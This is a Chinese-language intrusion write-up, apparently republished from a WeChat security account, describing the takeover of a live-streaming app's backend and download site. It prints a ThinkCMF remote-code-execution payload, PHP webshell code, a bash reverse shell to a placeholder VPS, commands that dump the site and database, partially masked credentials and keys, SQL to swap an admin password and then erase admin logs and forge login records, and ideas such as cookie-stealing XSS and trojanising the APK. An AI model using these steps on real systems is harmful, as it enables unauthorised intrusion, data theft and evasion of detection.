|
0x01 前言
事后才得知那篇文章是由团队成员@久哥和他公司小伙伴一起写的,并投稿到了某处,已告知漏点之处!!!
0x02 通过Twitter平台找目标站点
通过与原文中的推文作者头像和网站界面比对基本可以确定这就是他们的测试目标了,打开该网站后发现只是一个纯静态的APP引导下载站:http://****.xyz,暂时没法搞,先放一边。
这里还需要通过这个APP找出他的域名,可以选择逆向APK或者抓包的方式得到。笔者没有Android逆向环境,找团队成员@Twe1ve帮忙看了下,说是加壳了,暂时没法脱,最后用Fiddler工具抓包得到他们测试的域名为:http://live.******.com。
使用Fiddler工具在抓HTTPS包时需要注意以下两点:
-
1. 工具->选项->连接->Fidder在端口上侦听(必须和模拟器端口对应)
-
2. 工具->选项->HTTPS->捕获HTTPS连接和解密HTTPS流量选项(勾选)
0x03 利用ThinkCMF漏洞Getshell
http://live.******.com/?a=fetch&content=<?=phpinfo();exit();
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
(1) 绕过写入字符长度限制
这里限制了写入字符的长度,无法一次性将我们的PHP一句话木马写进去,一次性写入时会提示:模板不存在:themes/simplebootx/Portal/Index/fetch.html。
http://live.******.com/?a=fetch&content="xx.php",'a '); fwrite($fp,'<?php phpinfo();?>');exit(); =@$fp=fopen(
<
?
p
h
p
p
h
p
i
n
f
o
(
)
;
?
>
'
"
(2) 绕过中国菜刀PHP7限制
众所周知“中国菜刀”在PHP7版本以后是无法连接上普通PHP一句话木马的,按照上边提供的方法将以下PHP一句话木马写进去,当然也可以尝试使用中国蚁剑和冰蝎进行连接。
'@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']); $z0=str_replace(
"@set_magic_quotes_runtime(0);","",base64_decode($_POST[z0]));$_POST[z0]=base64_encode($z0);@eval($_POST[cmd]); $z0=str_replace(
在以下两个数据库配置文件中找到MySQL、Redis账户密码,还在functions.php文件中找到一个过期的短信API账户密码,上边有QQ、Email、手机号等信息,暂时没什么鸟用,但可以先把这些信息搜集着,密码存在一定规律性,说不定后边能够用上。
/www/wwwroot/backend/data/conf/db.php
/www/wwwroot/backend/api/Config/dbs.php
/* mysql */
'DB_TYPE' => 'mysqli',
'DB_HOST' => '127.0.0.1',
'DB_NAME' => 'MH***hN',
'DB_USER' => 'MH***hN',
'DB_PWD' => 'MH***hNBbaYaNWxk',
'DB_PORT' => '3306',
'DB_PREFIX' => 'cmf_',
'DB_CHARSET' => 'utf8mb4',
/* redis */
'REDIS_HOST' => "127.0.0.1",
'REDIS_AUTH' => "****tao",
'REDIS_PORT' => "6379",
//密钥
"AUTHCODE" => 'rCt52pF2cnnKNB3Hkp',
//cookies
"COOKIE_PREFIX" => 'AJ1sOD_',
/www/wwwroot/backend/api/Common/functions.php
$smsapi = "http://api.sms***.com/";
$user = "xiaotianxin***"; //短信平台帐号
$pass = md5("dfh****"); //短信平台密码
QQ:776**344
Email:***[email protected]
手机号:150****6034
0x04 绕过disable_functions反弹Shell
pwn("bash -i >& /dev/tcp/VPS_IP_Addr/Port 0>&1");
0x05 打包程序和数据并进入网站后台
[www@localhost backend]$ python -c 'import pty; pty.spawn("/bin/bash")'
(1) 打包网站程序和数据库
使用tar、mysqldump、gunzip等命令将该网站程序和数据库给打包下来,便于我们本地做复现测试,当时忘了截图,就几条命令的事,就不再去补图了。
tar -cvf backend.tar /www/wwwroot/backend/
mysqldump -h127.0.0.1 -uroot -proot --databases MH***hN | gzip > backend.sql.gz
gunzip backend.sql.gz
(2) 修改管理员密码进入后台
MySQL数据库中找到的管理员密码无法通过解密得到明文密码,在function.php文件中找到ThinkCFM的加密算法如下,密文格式为:###08e3756d043515f77e8de4f5deb00496。
/* 密码加密 */
function setPass($pass){
$authcode='rCt52pF2cnnKNB3Hkp';
$pass="###".md5(md5($authcode.$pass));
return $pass;
}
echo setpass('123456')
?>
通过加密算法得到一个密文,进入MySQL替换管理员密码即可进入目标网站后台,这种方式最为简单快捷,但是动静比较大,需选择一个管理员不在线的时间段去操作,否则可能会被对方发现,最后还得恢复管理员密码和清除登录IP和操作日志,为防止误操作建议先在本地搭建环境测试。
1、查询管理员用户:
SELECT * FROM `cmf_users` WHERE `user_login`='B8V9nAV';
2、查询多少用户在用这个密码:
SELECT * FROM `cmf_users` WHERE FIND_IN_SET('###08e3756d043515f77e8de4f5deb00496',user_pass);
3、查询最近登录用户:
SELECT * FROM `cmf_users` ORDER BY last_login_time DESC;
4、修改管理员密码:
UPDATE `cmf_users` SET `user_pass`='###73b13b8b4d767f6c3c2953f123d1a721' WHERE (`user_login`='B8V9nAV');
5、删除管理员日志并重新按ID进行排序:
DELETE FROM `cmf_admin_log` WHERE (`id`>='4175');ALTER TABLE cmf_admin_log AUTO_INCREMENT = 1;
6、恢复管理员密码并替换最后登录IP和时间:
UPDATE `cmf_users` SET `user_pass`='###08e3756d043515f77e8de4f5deb00496',`last_login_ip`='122.60.22.247',`last_login_time`='2020-07-23 05:41:06' WHERE (`user_login`='B8V9nAV');
(3) 进入后台及后续渗透思路
目前可进入目标网站后台和后续的渗透思路有以下一些,也希望各位大佬能补充一些其它思路,谢谢!
-
1、修改后台登录入口嗅探登录的用户和密码;
-
2、通过加密算法生成密文字典进行撞库攻击;
-
3、通过加密算法生成密文后进入数据库修改;
-
4、XSS打Cookie或Flash水坑钓鱼等攻击方式;
-
5、APK中注入恶意程序,替换APK的下载地址;
-
6、......
0x06 峰回路转之撸下APP引导下载站
(1) 通过辣椒CMS进行Getshell
默认后台地址:http://cl.****.xyz/adminx/,使用“辣椒cms”默认管理员用户密码lajiaocms成功进入网站后台,然后在后台的登录重置处将密码修改为以下代码即可Getshell。
');echo ‘111111’;$z0=str_replace(' ;','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>";//
(2) 绕过宝塔open_basedir跨站
两台服务器都是使用宝塔建的站,每个站的根目录下都会有一个.user.ini文件,并且使用open_basedir限制我们进行跨目录访问,网站根目录.user.ini文件内容如下。
open_basedir=/www/wwwroot/cl.****.xyz/:/tmp/:/proc/
open_basedir=/www/wwwroot/:/tmp/:/proc/
0x07 PDF和源码下载
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读
原文始发于微信公众号(潇湘信安):记一次因打码不严的渗透测试案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论